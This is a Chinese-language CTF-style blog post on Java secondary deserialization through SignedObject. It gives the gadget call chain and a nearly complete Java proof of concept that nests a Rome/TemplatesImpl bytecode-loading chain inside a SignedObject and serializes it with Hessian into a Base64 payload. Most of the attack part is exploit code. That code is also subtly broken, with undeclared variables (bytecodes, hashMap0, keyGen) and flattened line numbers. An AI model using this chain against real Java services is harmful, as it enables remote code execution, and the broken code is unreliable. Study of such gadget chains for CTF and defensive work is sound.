前情提要
这里有几条自己还没跟过的链子,maybe有点生疏,是在一条CTF题里见到的.
二次反序列化一般来说有如下几个常用的利用类
SignedObject
RMIConnector
WrapperConnectionPoolDataSource
先看 SignedObject
这是一个存在于jdk中的类,而且用起来很爽!
看看构成
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
接收类中的content属性,然后将其在反序列化再看看构造方法,content属性可控,那么只需要触发它的getObject 方法即可完成二次反序列化了~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); this .sign(signingKey, signingEngine); }
初看就是触发getter方法嘛,刚好无参又不是静态,但是不满足继承的条件,因此那个快json肯定是不行回看需要满足条件的getter:
非静态方法
无参数
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
fastJson肯定不通了,那我们看看另外一个Rome
链
toStringBean
直接用它来调用SignedObject中的getObject方法,然后实现任意content字节码的传入,这样就可自动的实现所谓的二次反序列化了咯~
1 2 3 4 SignedObject#getObject() ToStringBean#toString(String) ToStringBean#toString() BadAttributeValueExpException#readObject()
结合一下rome链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package me.eviden.test; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import me.eviden.util.util; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.HashMap; public class ss2 { public static void main (String[] args) throws Exception { TemplatesImpl templatesImpl = new TemplatesImpl (); util.setField(templatesImpl, "_name" , "aaa" ); util.setField(templatesImpl,"_bytecodes" ,new byte [][] {bytecodes}); util.setField(templatesImpl,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean1 = new ToStringBean (Templates.class,templatesImpl); EqualsBean equalsBean1 = new EqualsBean (ToStringBean.class, toStringBean1); ObjectBean objectBean1 = new ObjectBean (HashMap.class, hashMap0); HashMap evilMap = new HashMap (); evilMap.put(objectBean1, "test" ); util.setField(objectBean1, "_equalsBean" , equalsBean1); keyGen.initialize(2048 ); KeyPair keyPair = keyGen.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("SHA256withRSA" ); SignedObject signedObject = new SignedObject (evilMap, privateKey, signature); ToStringBean toStringBean = new ToStringBean (SignedObject.class, signedObject); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(objectBean, "aaaa" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); hessian2Output.writeObject(hashMap); hessian2Output.close(); System.out.println(util.encodeBytesToBase64(baos.toByteArray())); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input (bais); HashMap o = (HashMap) hessian2Input.readObject(); } }
未完待续~